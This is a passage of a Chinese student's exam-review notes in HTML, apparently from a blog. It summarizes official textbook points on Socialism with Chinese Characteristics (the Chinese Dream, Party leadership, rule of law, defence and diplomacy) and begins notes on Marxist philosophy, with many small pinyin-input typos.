title="中国梦的科学内涵"></a>中国梦的科学内涵</h3><p>中国梦的本质是国家富强、民族振兴、人民幸福。<br>国家富强、民族振兴是人民幸福的基础和保障,人民幸福是国家富强、民族振兴的题中之义和必然要求。<br>中国梦是国家情怀、民族情怀、人民情怀相统一的梦。<br>中国梦归根到底是人民的梦。人民是中国梦的主体,是中国梦的创造者和享有者。<br>中国梦是国家的梦、民族的梦,也是每一个中国人的梦。<br>中国梦与 世界各国人民的美好梦想相通。</p><h3 id="建设社会主义现代强国的战略安排"><a href="#建设社会主义现代强国的战略安排" class="headerlink" title="建设社会主义现代强国的战略安排"></a>建设社会主义现代强国的战略安排</h3><ol><li>从2020年到2035年,基本实现社会主义现代化的目标要求<br> 主要目标要求:<br> 在经济建设方面,我国经济实力、科技实力将大幅跃升,跻身创新型国家前列。<br> 在政治建设方面,人民平等参与、平等发展权力得到充分保障,法治国家、法治政府、法治社会基本建成,各方面制度更加完善,国家治理习题和治理能力现代化基本实现。<br> 在文化建设方面,社会文明程度达到新的高度,国家文化软实力显著增强,中华文化影响更加广泛深入。<br> 在民生和社会建设方面,人民生活更为快鱼,中等收入群体比例明显提高,城乡区域发展差距和居民生活水平差距显著缩小,基本公共服务均等化基本实现,全体人民共同富裕迈出坚实步伐。<br> 在生态文明建设方面,生态环境根本好转,美丽中国目标基本实现。</li><li>从2035年到本世纪中叶,建成社会主义现代化强国的目标要求<br> 这一阶段的目标要求是:<br> 我国将拥有高度的物质文明,社会生产力水平大幅提高,核心竞争力名列世界前茅,经济总量和市场规模超越其他国家,建成富强的社会主义现代化强国。<br> 我国将拥有高度的政治文明,形成又有集中又有民主、又有纪律又有自由、又有统一意志又有个人心情舒畅生动活泼的政治局面,依法治国和以德治国有机结合,建设民主的社会主义现代化强国。<br> 我国将拥有高度的精神文明,践行社会主义核心价值观成为全社会自觉行动,过敏素质显著提高,中国精神、中国价值、中国力量成为中国发展的重要影响和推动力,建成文明的社会主义现代化强国。<br> 我国将拥有高度的社会文明,城乡居民将普遍享有较高的收入、富裕的生活,健全的基本公共服务,享有更加幸福安康的生活,全体人民共同富裕基本实现。<br> 我国将拥有高度的生态文明。</li></ol><h3 id="实现中国梦的途径"><a href="#实现中国梦的途径" class="headerlink" title="实现中国梦的途径"></a>实现中国梦的途径</h3><font color="#FF0000"><p>实现中国梦必须走中国道路,这就是中国特色社会主义道路。<br>实现中国梦必须弘扬中国精神,这就是以爱国主义为核心的民族精神和以改革创新为核心的时代精神。<br>实现中国梦必须凝聚中国力量,这就是全国各族人民大团结的力量。<br>实现中华民族伟大复兴是海内外中华儿女的共同梦想。<br>实干才能梦想成真。<br>实现中国梦任重而道远,需要锲而不舍、驰而不息的艰苦努力<br>实现中国梦需要和平,只有和平才能实现梦想。</p></font><h2 id="五位一体总体布局"><a href="#五位一体总体布局" class="headerlink" title="五位一体总体布局"></a>五位一体总体布局</h2><p>经济建设、政治建设、文化建设、社会建设、生态文明建设作为一个有机整体</p><h3 id="建设现代化经济体系"><a href="#建设现代化经济体系" class="headerlink" title="建设现代化经济体系"></a>建设现代化经济体系</h3><ul><li><p>主要任务<br>大力发展实体经济<br>加快实施创新驱动发展战略<br>激发各类市场主体活力<br>积极推动城乡区域协调发展<br>着力发展开放型经济<br>加快完善社会主义市场经济体制</p></li><li><p>深化供给侧结构性改革</p></li></ul><ol><li>推动增长动能转换,以加快发展先进制造业为重点全面提升实体经济。</li><li>深化要素市场化配置改革,实现由以价取胜向以质取胜的转变。</li><li>加大人力资本培育力度,更加注重调动和保护人的积极性。</li><li>持续推进“三去一降一补”,优化市场供应结构。坚持去产能,去库存,去杠杆,降成本,补短板。</li></ol><h3 id="健全人民当家做主自主体系"><a href="#健全人民当家做主自主体系" class="headerlink" title="健全人民当家做主自主体系"></a>健全人民当家做主自主体系</h3><p>我国是工人阶级领导的,以工农联盟为基础的人民民主专政的社会主义国家,国家一切权力属于人民。<br>人民代表大会制度是我国根本政治制度<br>发挥会社会主义协商民主的重要作用。协商民主是中国社会主义民主政治的特有形式和独特优势,是实现党的领导的重要方式。<br>中国共产党领导的多党合作和政治协商制度是我们的一项基本政治制度,人民政协是居于中国特色的制度安排,是社会主义协商民族的重要渠道和专门协商机构。<br>民族区域自治制度是我国的一项基本政治制度。<br>基层群众自治制度是我国的一项基本政治制度。</p><h3 id="巩固和发展爱国统一战线"><a href="#巩固和发展爱国统一战线" class="headerlink" title="巩固和发展爱国统一战线"></a>巩固和发展爱国统一战线</h3><p>坚持长期共存,互相监督,肝胆相照,荣辱与共,支持民主党派按照中国特色社会主义参政党要求更好履行职能<br>深化民族团结进步教育,筑牢中华民族共同体意识<br>全面贯彻党的宗教工作基本方针,坚持我国宗教的中国化方向,积极引导宗教与社会主义社会相适应。<br>牢牢把握大团结大联合的主体,做好统战工作。</p><h3 id="坚持和发展中保障和改善民主社会主义"><a href="#坚持和发展中保障和改善民主社会主义" class="headerlink" title="坚持和发展中保障和改善民主社会主义"></a>坚持和发展中保障和改善民主社会主义</h3><ul><li><p>提高保障和改善民生水平<br>优先发展教育事业。<br>提高就业质量和人民收入水平<br>加强社会保障体系建设<br>坚决打赢脱贫攻坚战<br>实施健康中国战略</p></li><li><p>加强和创新社会治理<br>创新社会治理体系。加强社会治理基础制度建设,建立国家人口基础信息库、统一社会信用代码制度和相关实名登记制度,完善社会信用体系<br>改进社会治理方式。坚持提通知里,坚持依法治理,坚持源头治理,坚持综合治理。<br>加强预防和化解社会矛盾机制建设<br>加强社会心理服务体系建设<br>加强社会治理体系建设</p></li><li><p>坚持总体国家安全观<br>总体国家安全观是指坚持国家利益至上,以人民安全为宗旨,以政治安全为根本,以经济安全为基础,以军事文化社会安全为保障,以促进国际安全为依托,维护各领域国家安全,构建国家安全体系,走中国特色国家安全道路。</p><ol><li>完善国家安全体系</li><li>健全公共安全体系</li><li>推进平安中国建设</li><li>加强国家安全能力建设</li><li>加强国家安全教育</li></ol></li></ul><h3 id="推动社会主义文化繁荣昌盛"><a href="#推动社会主义文化繁荣昌盛" class="headerlink" title="推动社会主义文化繁荣昌盛"></a>推动社会主义文化繁荣昌盛</h3><p>1.牢牢掌握意识形态工作领导权<br> 意识形态关乎旗帜、关乎道路、关乎国家政治安全,决定文化前进方向和道路。<br> 掌握意识形态工作领导权,要旗帜鲜明坚持马克思主义指导地位。马克思主义是我们立党立国的根本指导思想。<br> 掌握意识形态工作领导,要加快构建中国特色哲学社会科学。哲学社会科学是人们认识世界、改造世界的重要工具,是推动历史发展和社会进步的重要力量,与意识形态工作密切相关。<br> 掌握意识形态工作领导权,要坚持正确的舆论导向。<br> 掌握意识形态工作领导权,要建设好网络空间。<br> 掌握意识形态工作领导权,要落实好意识形态工作责任制。落实意识形态责任制,根本在于加强组织领导,强化责任担当。</p><p>2 培养和践行社会主义核心价值观/社会主义价值体系的基本内容<br><font color="#FF0000"></p><p>富强民主文明和谐,自由平等公正法治,爱国敬业诚信友善。既体现了社会主义本质要求,也吸收了世界文明有益成果,体现了时代精神,是当代中国精神的集中体现,凝结着全体人民共同的价值追求,是社会主义和决心价值观的基本内容。<br>社会主义核心价值观是在社会主义核心价值体系基础上提炼出来的。社会主义核心价值体系由马克思主义指导思想、中国特色社会主义共同理想、以爱国主义为核心的民族精神和以改革创新为核心的时代精神、社会主义荣辱观四个方面构成。</p><ul><li>培育和践行社会主义核心价值观,要把社会主义核心价值观融入社会生活各个方面。</li><li>培育和践行社会主义核心价值观,要坚持全民行动,干部带头,从家庭做起,从娃娃抓起。</li><li>培养和践行社会主义核心价值观,必须立足中华优秀传统文化和革命文化。</li><li>培养和践行社会主义核心价值观,必须发扬中国人民在长期奋斗中培育、继承、发展起来的伟大民族精神,这就是习近平在十三届全国人大一次会议上概括的四种精神,即伟大创造精神,伟大奋斗精神,伟大团结精神和伟大梦想精神。</li></ul></font><ol start="3"><li>坚持文化自信,建设社会主义文化强国<br>建设社会主义文化强国,必须培养高度的文化自信<br>建设社会主义文化强国,必须大力发展文化事业和文化产业<br>建设社会主义文化强国,必须提高国家文化软实力</li></ol><h3 id="坚持一国两制的前提"><a href="#坚持一国两制的前提" class="headerlink" title="坚持一国两制的前提"></a>坚持一国两制的前提</h3><ol><li>全面准确贯彻一国两制方针<br> 始终依照宪法和基本法办事。<br> 必须把维护中央对香港、澳门特别行政区全面管制权和保障特别行政区高度自治权有机结合起来。<br> 必须始终就要发展这个第一要务。<br> 必须始终维护和谐稳定的社会环境。坚持爱国者为主题的“港人治港”,发展壮大爱国爱港爱澳力量。</li><li>扎实推进祖国和平统一进程<br> 坚持和平统一、一国两制方针<br> 推动两岸关系和平发展<br> 坚持一个中国原则和九二共识<br> 坚决反对和遏制任何形式的台独<br> 秉持和践行两岸一家亲理念。</li></ol><h3 id="建设美丽中国"><a href="#建设美丽中国" class="headerlink" title="建设美丽中国"></a>建设美丽中国</h3><font color="#FF0000"><ol><li>坚持人与自然和谐共生<br> 生态文明的核心是坚持人与自然和谐共生。<br> 中华文明历来强调天人合一,尊重自然<br> 尊重自然,是人与自然相处时应秉持的首要态度,要求人对自然怀有敬畏之心、感恩之情、报恩之意,尊重自然界的创造和存在,绝不凌驾于自然之上。<br> 顺应自然,是人与自然相处时应遵循的基本原则,要求人顺应自然的客观规律,按自然规律办事。<br> 保护自然,是人与自然相处时应承担的重要责任。</li><li>形成人与自然和谐发展新格局/形成人与自然和谐发展的途径<br> 把节约资源放在首位。<br> 坚持保护优先、自然恢复为主<br> 着力推进绿色发展、循环发展、低碳发展<br> 形成节约资源和保护环境的空间格局、产业结构、生产方式、生活方式</li><li>加快生态文明体制改革<br> 推动绿色发展。<br> 着力解决突出环境问题<br> 加大生态系统保护力度<br> 改革生态环境监管体制</li></ol></font><h3 id="五大发展理念的科学内涵"><a href="#五大发展理念的科学内涵" class="headerlink" title="五大发展理念的科学内涵"></a>五大发展理念的科学内涵</h3><font color="#FF0000"><p>党的十八届五中全会坚持以人民为中心的发展思想,鲜明提出了创新、协调、绿色、开放、共享的新发展理念。</p><ul><li>创新是引领发展的第一动力</li><li>协调是持续健康发展的内在要求</li><li>绿色是永续发展的必要条件</li><li>开放是国家繁荣发展的必由之路</li><li>共享是中国特色社会主义的本质要求<br>其主要内涵有四个方面,全民共享,全面共享,共建共享,渐进共享</font></li></ul><h2 id="四个全面战略布局"><a href="#四个全面战略布局" class="headerlink" title="四个全面战略布局"></a>四个全面战略布局</h2><p>全面建成小康社会,全面依法治国,全面从严治党,全面深化改革</p><h3 id="全面建成小康社会的内涵"><a href="#全面建成小康社会的内涵" class="headerlink" title="全面建成小康社会的内涵"></a>全面建成小康社会的内涵</h3><p>全面小康,覆盖的领域要全面,是五位一体全面进步的小康。五位一体是一个整体性目标要求。<br>全面小康,覆盖的人口要全面,是惠及全体人民的小康。<br>全面小康,覆盖的区域要全面,是城乡区域共同发展的小康<br>全面建成小康社会,要实事求是、因地制宜。全面建成小康社会是针对全国讲的,不是每个地区、每个民族、每个人都达到统一水平,不能把相关指标简单套用到每个省市区。</p><h3 id="新时代党的建设的总要求"><a href="#新时代党的建设的总要求" class="headerlink" title="新时代党的建设的总要求"></a>新时代党的建设的总要求</h3><p>坚持和加强到的全面领导,坚持党要管党,全面从严治党,以加强党的长期执政能力建设、先进性和纯洁性建设为主线,以党的政治领导建设为纲领,以坚定理想信念宗旨为根基,以调动全党积极性、主动性、创造性为着力点,全面推进党的政治建设、思想建设、组织建设、作风建设、纪律建设。<br>坚持党要管党、全面从严治党是新时代党的建设的根本方针。<br>把党建设成为始终走在时代前列、人民衷心拥护、用于自我革命,经得起各种风浪考研、朝气蓬勃的马克思主义执政党。是新时代党的建设目标,集中体现了党的性质、宗旨、纲领。</p><h3 id="全面依法治国"><a href="#全面依法治国" class="headerlink" title="全面依法治国"></a>全面依法治国</h3><ol><li>形成发展<br>十一届三中全会明确提出“发展社会主义民主、健全社会主义法制”的重大方针。<br>十五大明确吧依法治国确立为治理国家的基本方略,把建设社会主义法治国家确定为社会主义现代化建设的重要目标。<br>1999年3月九届全国人大二次会议通过的《中华人民共和国宪法修正案》将依法治国正式写入先发<br>十六大提出,发展社会主义民主政治,最根本的是要把坚持党的领导、人民当家做主、依法治国有机统一起来<br>十七大提出,依法治国是社会主义民主政治的基本要求,强调全面落实已发治国基本方略<br>2010年,中国已经形成了以宪法为核心的中国特色社会主义法律体系,为改革开放和社会主义现代化建设提供了有力的法治保障。</li><li>中国特色社会主义法治道路<br>坚持中国共产党的领导。党的领导和依法治国是高度统一的。党的领导是社会主义法治最根本的保证。<br>坚持人民在全面依法治国中的主体地位。<br>坚持法律面前人人平等。<br>坚持依法治国和以德治国相结合。法律是成文的道德,道德是内心的法律。法律有效实施依赖于到的支持,道德践行也离不开法律约束,<br>坚持从中国实际出发。</li></ol><h3 id="社会依法治国实践的重点任务"><a href="#社会依法治国实践的重点任务" class="headerlink" title="社会依法治国实践的重点任务"></a>社会依法治国实践的重点任务</h3><ol><li>推进中国特色社会主义方法之体系建设<br> 完善以宪法为核心的中国特色社会主义法律体系。<br> 健全法治监督体系。<br> 健全法治保障体系<br> 加强党内法规制度建设。</li><li>深化依法治国实践<br> 加强宪法实施和监督,推进合宪性审查工作,维护宪法权威。<br> 建设法治政府<br> 社会司法体制综合配套改革<br> 加大全民普法力度<br> 各级党组织和全体党员要带头尊法学法守法用法</li></ol><h3 id="全面深化改革"><a href="#全面深化改革" class="headerlink" title="全面深化改革"></a>全面深化改革</h3><font color="#FF0000"><ul><li><p>总目标<br>完善和发展中国特色社会主义制度,推进国家治理体系和治理能力现代化。<br>完善和发展中国特色社会主义制度是根本方向<br>推进国家治理体系和治理能力现代化是实现路径</p></li><li><p>主要内容<br>紧紧围绕使市场在资源配置中起决定性作用和更好发挥政府作用深化经济体制改革<br>紧紧围绕坚持党的领导,人民当家做主,依法治国有机统一深化政治体制改革<br>紧紧围绕建设社会主义核心价值体系,社会主义文化强国深化文化体制改革<br>紧紧围绕更好保障和改善民生,促进社会主义公平正义深化社会体制改革<br>紧紧围绕建设美丽中国深化生态文明体制改革<br>紧紧围绕提高科学执政,民主执政,依法执政水平深化党的建设制度改革</p></li><li><p>意义<br>改革是一个国家,一个民族的生存发展之道。<br>全面深化改革,是顺应当今世界发展大势的必然选择。<br>全面深化改革,是解决中国现实问题的根本途径。<br>全面深化改革,关系党和人民事业前途命运,关系党的执政基础和执政地位</p><p>全面深化改革必须坚持党对改革的集中统一领导<br>全面深化改革必须坚持改革沿着中国特色社会主义方向前进<br>全面深化改革必须坚持改革往有利于维护社会公平正义、增进人民福祉方向前进。全面深化改革必须坚持社会主义市场经济改革方向。</p></font></li></ul><h2 id="全面推进国防和军队现代化"><a href="#全面推进国防和军队现代化" class="headerlink" title="全面推进国防和军队现代化"></a>全面推进国防和军队现代化</h2><h3 id="习近平强军思想的主要内容"><a href="#习近平强军思想的主要内容" class="headerlink" title="习近平强军思想的主要内容"></a>习近平强军思想的主要内容</h3><p>强国必须强军,巩固国防和强大人民军队是新时代坚持和发展中国特色社会主义,实现中华民族伟大复兴的战略支撑<br>党在新时代的强军目标是建设一支听党指挥,能打胜仗,作风优良的人民军队<br>党对军队绝对领导是人民军队建军之本,强军之魂<br>创新发展军事战略指导,构建中国特色现代化作战体系<br>加强作风建设,纪律建设,坚定不移正风肃纪,反腐惩恶<br>坚持政治建军,改革强军,科技兴军,依法治军<br>改革是强军的必由之路,必须推进军队组织形态现代化,构建中国特色军事力量体系,完善中国特色社会主义军事制度<br>创新是引领发展的第一动力,建设创新型人民军队<br>构建中国特色军事法治体系<br>军民融合发展是兴国之举,强军之策</p><h3 id="党对人民军队绝对领导的制度"><a href="#党对人民军队绝对领导的制度" class="headerlink" title="党对人民军队绝对领导的制度"></a>党对人民军队绝对领导的制度</h3><p>党的领导是人民军队战无不胜的根本保证。</p><ol><li>基本内容<br> 军队必须完全的无条件的置于中国共产党的领导下,在思想上政治上行动上始终与党中央,中央军委保持高度一致,坚决维护党中央,中央军委权威,任何时候任何情况下都坚决听从党中央门中央军委指挥。</li><li>制度保证<br> 军队最高领导权和指挥权属于党中央和中央军委<br> 中央军委实行主席负责制<br> 实行党委制,政治委员制,政治机关制<br> 实行党委统一的集体领导下的首长分工负责制<br> 实行支部建在连上</li></ol><h3 id="构建中国特色军事力量体系"><a href="#构建中国特色军事力量体系" class="headerlink" title="构建中国特色军事力量体系"></a>构建中国特色军事力量体系</h3><p>形成精干、联合、多能、高效的信息化军事力量体系,重点是优化作战力量结构。</p><h2 id="中国特色大国外交"><a href="#中国特色大国外交" class="headerlink" title="中国特色大国外交"></a>中国特色大国外交</h2><h3 id="构建人类命运共同体思想内涵与核心"><a href="#构建人类命运共同体思想内涵与核心" class="headerlink" title="构建人类命运共同体思想内涵与核心"></a>构建人类命运共同体思想内涵与核心</h3><p>构建人类命运共同体思想,是一个科学完整、内涵丰富、意义深远的思想体系,其核心就是“建立持久和平、普遍安全、共同繁荣、开放包容、清洁美丽的世界”。</p><h3 id="坚持独立自主和平外交政策"><a href="#坚持独立自主和平外交政策" class="headerlink" title="坚持独立自主和平外交政策"></a>坚持独立自主和平外交政策</h3><p>把国家主权和安全放在第一位,坚决维护我国国家利益<br>从我国人民和世界人民根本利益出发<br>坚持各国的事务应由本国政府和人民决定<br>主张和平解决国际争端,反对霸权主义和恐怖主义</p><ul><li>落脚点</li></ul><h3 id="促进一带一路国际合作"><a href="#促进一带一路国际合作" class="headerlink" title="促进一带一路国际合作"></a>促进一带一路国际合作</h3><p>“一带一路”建设顺应时代潮流,适合发展规律,符合各国人民利益,具有广阔前景。</p><ul><li>原则</li></ul><h3 id="推动建立新型国际关系"><a href="#推动建立新型国际关系" class="headerlink" title="推动建立新型国际关系"></a>推动建立新型国际关系</h3><font color="#FF0000"><p>推动建设相互尊重、公平正义、合作共赢的新型国际关系,是党中央立足时代发展潮流和我国根本利益作出的战略选择,反映了中国和世界人民的共同心愿。</p><ul><li>推动建立新型国际关系,要坚决维护国家核心利益。</li><li>推动建立新型国际关系,要在和平共处五项原则基础上发展同世界各国的友好合作。</li><li>推动建立新型国际关系,要积极参与全球治理体系改革和建设。</li><li>推动建立新型国际关系,要加强涉外法律工作,完善涉外法律法规体系。</li><li>推动建立新型国际关系,要把互相尊重、公平正义、合作共赢理念体现到政治、经济、安全、文化等对外合作的方方面面,推动构建人类命运共同体。</font></li></ul><h2 id="坚持和加强党的领导"><a href="#坚持和加强党的领导" class="headerlink" title="坚持和加强党的领导"></a>坚持和加强党的领导</h2><h3 id="中国特色社会主义最本质特征"><a href="#中国特色社会主义最本质特征" class="headerlink" title="中国特色社会主义最本质特征"></a>中国特色社会主义最本质特征</h3><p>1.党的领导是中国特色社会主义最本质的特征<br> 这是由科学社会主义的理论逻辑决定的<br> 这是由中国特色社会主义产生与发展的历史逻辑决定的<br> 这是由中国特色社会主义迈向新征程的实践逻辑决定的<br>2.党的领导是中国特色社会主义制度的最大优势<br> 中国特色社会主义制度是党领导人民创建的<br> 党的领导是充分发挥中国特色社会主义制度优势的根本保障<br> 党的自身优势是中国特色社会主义制度优势的主要来源</p><h3 id="共产党的历史使命与相互关系"><a href="#共产党的历史使命与相互关系" class="headerlink" title="共产党的历史使命与相互关系"></a>共产党的历史使命与相互关系</h3><p>新时代中国共产党的历史使命,就是统揽伟大斗争、伟大工程、伟大事业、伟大梦想,在全面建成小康社会的基础上全面建成社会主义现代化强国,实现中华名族伟大复兴的中国梦。</p><ul><li>实现伟大梦想,必须进行具有许多新的历史特点的伟大斗争</li><li>实现伟大梦想,必须深入推进党的建设新的伟大工程</li><li>实现伟大梦想,必须推进中国特色社会主义伟大事业<br>伟大斗争、伟大工程、伟大事业、伟大梦想是一个紧密联系、相互贯通、相互作用、有机统一的整体,统一于新时代坚持和发展中国特色社会主义伟大实践。伟大梦想是目标,伟大斗争是手段,伟大工程是保障(起决定性作用),伟大事业是主题。</li></ul><hr><center>~~爬~~呀~~爬~~呀~~爬~~呀~~爬~~</center>---<h1 id="马克思主义基本原理概论"><a href="#马克思主义基本原理概论" class="headerlink" title="马克思主义基本原理概论"></a>马克思主义基本原理概论</h1><p><a href="https://max.book118.com/html/2018/0301/155286542.shtm" target="_blank" rel="noopener">复习资料</a></p><h2 id="导论"><a href="#导论" class="headerlink" title="导论"></a>导论</h2><h3 id="什么是马克思主义和马克思主义基本原理"><a href="#什么是马克思主义和马克思主义基本原理" class="headerlink" title="什么是马克思主义和马克思主义基本原理"></a>什么是马克思主义和马克思主义基本原理</h3><ul><li><p>马克思主义<br>关于自然、社会和人类思维发展一般规律的学说,是不断发展的科学理论体系,是关于社会主义必然代替资本主义、最终实现共产主义的学说,是关于无产阶级解放、全人类解放和每个人自由而全面发展的学说。</p><p>分为<strong>马克思主义哲学</strong>、<strong>马克思主义政治经济学</strong>和<strong>社会科学主义</strong>。</p></li><li><p>马克思主义基本原理<br>马克思主义是<strong>科学性</strong>和<strong>革命性</strong>的统一。<br>关于辩证唯物主义和历史唯物主义的原理,是马克思主义世界观和方法论基础<br>关于最广大人民根本利益原理,反映马克思主义最鲜明的政治立场<br>关于坚持一切从实际出发,理论联系实际,实事求是,在实践中检验真理和发展真理的原理,体现马克思主义的理论品质<br>关于实现共产主义社会的原理,体现马克思主义最崇高的社会理想</p></li><li><p>马克思主义的当代价值<br>观察当代世界变化的<strong>认识工具</strong><br>指引当代中国发展的<strong>行动指南</strong><br>引领人类社会进步的<strong>科学真理</strong></p></li></ul><h3 id="马克思主义的特征"><a href="#马克思主义的特征" class="headerlink" title="马克思主义的特征"></a>马克思主义的特征</h3><ul><li><strong>科学性</strong><br>突出体现在辩证唯物主义和历史唯物主义</li><li><strong>革命性</strong><br>马克思主义的阶级基础是革命的无产阶级</li><li><strong>实践性</strong><br>实践观点是马克思主义首要的和基本的观点</li><li><strong>人民性</strong><br>人民至上是马克思主义的政治立场</li><li><strong>发展性</strong><br>马克思主义是不断发展的学说</li></ul><h2 id="世界的物质性及发展规律"><a href="#世界的物质性及发展规律" class="headerlink" title="世界的物质性及发展规律"></a>世界的物质性及发展规律</h2><h3 id="哲学和哲学的基本问题"><a href="#哲学和哲学的基本问题" class="headerlink" title="哲学和哲学的基本问题"></a>哲学和哲学的基本问题</h3><ul><li><p>哲学基本问题<br>世界无非两大现象:物质现象与精神现象<br>人类无非两大活动:认识世界与改造世界<br>存在和思维的关系问题,也就是物质和精神的关系问题,构成了全部哲学的基本问题</p><ul><li>根据存在思维谁是世界的本源,物质精神的第一性,划分唯物主义与唯心主义</li><li>根据存在思维是否有同一性,思维能否正确认识存在,划分可知论和不可知论</li></ul><p>常见问题:<br>客观唯心主义:神创世界<br>主观唯心主义:人的感觉绝对<br>朴素唯物主义:唯物哲学的最初形态,火啊五行啊<br>机械唯物主义:孤立的时空观<br>形而上学唯物主义:同机械唯物主义</p></li></ul><h3 id="如何理解列宁的物质定义及其意义"><a href="#如何理解列宁的物质定义及其意义" class="headerlink" title="如何理解列宁的物质定义及其意义"></a>如何理解列宁的物质定义及其意义</h3><p>列宁:“物质是标志客观实在的哲学范畴,这种客观实在是人通过感觉感知的,他不依赖于我们的感觉而存在,为我们的感觉所复写、摄影、反映。”</p><ul><li>理论意义<br><strong>坚持了唯物主义一元论</strong>,同唯心主义一元论和二元论划分了界限;<br><strong>坚持了能动的反映论和可知论</strong>,批判了不可知论;<br><strong>体现了唯物论和辩证法的统一</strong>,克服了形而上学唯物主义的缺陷;<br><strong>体现了唯物主义自然观与唯物主义历史观的统一</strong>,为彻底的唯物主义奠定了理论基础。</li></ul><h3 id="如何把握物质、运动、静止,时间和空间的含义、特点(或特性)及其相互关系"><a href="#如何把握物质、运动、静止,时间和空间的含义、特点(或特性)及其相互关系" class="headerlink" title="如何把握物质、运动、静止,时间和空间的含义、特点(或特性)及其相互关系"></a>如何把握物质、运动、静止,时间和空间的含义、特点(或特性)及其相互关系</h3><ul><li>物质的存在形态<br>物质的根本属性是运动<br>物质的最根本特性是客观实在性<br>物质世界的运动是绝对的,而物质在运动过程中又有某种相对的静止,无条件的绝对运动和有条件的相对静止构成了对立统一关系<br>时间和空间是物质运动的存在形式。没有离开物质运动的纯粹时间和空间<br>具体物质形态的时空是有限的,而整个物质世界的时空是无限的</li></ul><h3 id="意识的涵义、本质及其作用"><a href="#意识的涵义、本质及其作用" class="headerlink" title="意识的涵义、本质及其作用"></a>意识的涵义、本质及其作用</h3><ul><li>涵义及其本质<br>意识是人脑的技能和属性,是客观世界的主观映像<br>意识不仅是自然界长期发展的产物,而且是社会历史发展的产物。其在内容上是客观的,在形式上是主观的</li></ul><h3 id="意识的能动作用,主观能动性和客观规律性的辩证统一"><a href="#意识的能动作用,主观能动性和客观规律性的辩证统一" class="headerlink" title="意识的能动作用,主观能动性和客观规律性的辩证统一"></a>意识的能动作用,主观能动性和客观规律性的辩证统一</h3><ul><li><p><strong>意识对物质具有反作用</strong><br>意识活动具有<strong>目的性和计划性</strong><br>意识活动具有<strong>创造性</strong><br>意识具有<strong>指导实践改造客观世界</strong>的作用<br>意识具有<strong>调控人的行为和生理活动</strong>的作用</p></li><li><p><strong>主观能动性和客观规律性的辩证统一</strong><br>尊重客观规律是正确发挥主观能动性的前提<br>只有充分发挥主观能动性,才能正确认识和利用客观规律性</p></li><li><p><strong>正确发挥人的主观能动性的前提和条件</strong><br><strong>从实际出发</strong>是正确发挥人的主观能动性的前提<br><strong>实践</strong>是正确发挥人的主观能动性的基本途径<br>正确发挥人的主观能动性,还需要依赖于一定的<strong>物质条件</strong>和<strong>物质手段</strong></p></li></ul><h3 id="如何全面理解唯物辩证法的联系观和发展观及其意义?"><a href="#如何全面理解唯物辩证法的联系观和发展观及其意义?" class="headerlink" title="如何全面理解唯物辩证法的联系观和发展观及其意义?"></a>如何全面理解唯物辩证法的联系观和发展观及其意义?</h3><p><strong>联系</strong>和<strong>发展</strong>的观点是唯物辩证法的总观点和总特征</p><ul><li><p>事物的普遍联系<br>联系具有<strong>客观性</strong><br>联系具有<strong>普遍性</strong><br>联系具有<strong>多样性</strong><br>联系具有<strong>条件性</strong></p></li><li><p>事物的变化发展<br>发展的实质是新事物的产生和旧事物的灭亡<br>为何新事物不可战胜?<br> 新事物和环境的关系<br> 新事物与旧事物的关系是扬弃</p></li><li><p>联系和发展的基本环节<br>内容与形式是从构成要素和表现方式上反映事物的一对基本范畴。<br>本质与现象是解释事物内在联系和外在表现的一对范畴<br>原因与结果是解释事物引起和被引起关系的一对范畴<br>必然和偶然是揭示事物产生、发展和衰亡过程中的不同趋势的一对范畴<br>现实与可能是反映事物的过去、现在和将来关系的一对范畴</p></li></ul><h3 id="如何理解矛盾的同一性与斗争性的内涵及其辩证关系和意义?"><a href="#如何理解矛盾的同一性与斗争性的内涵及其辩证关系和意义?" class="headerlink" title="如何理解矛盾的同一性与斗争性的内涵及其辩证关系和意义?"></a>如何理解矛盾的同一性与斗争性的内涵及其辩证关系和意义?</h3><ul><li><p>唯物辩证法的基本规律</p><ul><li><strong>对立统一规律是唯物辩证法的实质和核心</strong></li><li><strong>量变引起质变规律</strong></li><li><strong>否定之否定规律</strong></li></ul></li><li><p>同一性和斗争性及在事物发展中的作用</p><ul><li>同一性:有条件的<br>矛盾着的对立面互相依存,互为存在的前提,并共处于一个统一体中<br>矛盾着的对立面互相贯通个,在一定条件下可以相互转化</li><li>斗争性:无条件的<br>矛盾着的对立面互相排斥、互相分离的性质和趋势</li></ul><p>同一性是事物存在和发展的前提<br>同一性使矛盾双方互相析取有利于自身的因素,在相互作用中各自得到发展<br>同一性规定着事物转化的可能和发展的趋势</p><p>矛盾双方的斗争促进矛盾双方力量的变化<br>矛盾双方的斗争是矛盾统一体向另一种矛盾统一体过渡的决定力量</p></li></ul><h3 id="唯物辩证法的“一点论”和“两点论”的关系是怎样的?"><a href="#唯物辩证法的“一点论”和“两点论”的关系是怎样的?" class="headerlink" title="唯物辩证法的“一点论”和“两点论”的关系是怎样的?"></a>唯物辩证法的“一点论”和“两点论”的关系是怎样的?</h3><ul><li>两点论:<br>在分析事物的矛盾是,不仅要看到矛盾双方的对立,而且要看到矛盾双方的统一,不仅要看到矛盾体系只能跟存在着主要矛盾、矛盾的主要方面,看到次要矛盾、矛盾的主要方面。</li><li>重点论:<br>要着重把握主要矛盾、矛盾的主要方面,并以此作为解决问题的出发点。</li></ul><h3 id="矛盾的普遍性和特殊性及其方法论意义是什么?"><a href="#矛盾的普遍性和特殊性及其方法论意义是什么?" class="headerlink" title="矛盾的普遍性和特殊性及其方法论意义是什么?"></a>矛盾的普遍性和特殊性及其方法论意义是什么?</h3><ul><li>普遍性:<br>矛盾的共性,是无条件绝对的,指矛盾存在于一切事物中,存在于一切事物发展过程的始终。</li><li>特殊性:<br>矛盾的特性,是有条件相对的,值各个具体事物的矛盾,每一个矛盾的各个方面在发展的不同阶段上各有其特点。</li><li>方法论:<br><strong>从同一中把握对立,从对立中把握同一</strong><br><strong>重点论与两点论</strong><br><strong>具体问题具体分析</strong></li></ul><h3 id="“度”的含义及其方法论意义?"><a href="#“度”的含义及其方法论意义?" class="headerlink" title="“度”的含义及其方法论意义?"></a>“度”的含义及其方法论意义?</h3><p>物质包括质量度三方面的规定性,质是一事无成区别于其他事物的内在规定性,量是事物的规模、程度、速度等可以用数量关系表示的规定性。质量的统一在度中体现,度是保持事物质的稳定性的数量界限。</p><blockquote><p>意义:在认识和处理问题时要掌握适度原则。</p></blockquote><h3 id="量变和质变的辩证关系及其方法论意义是什么?"><a href="#量变和质变的辩证关系及其方法论意义是什么?" class="headerlink" 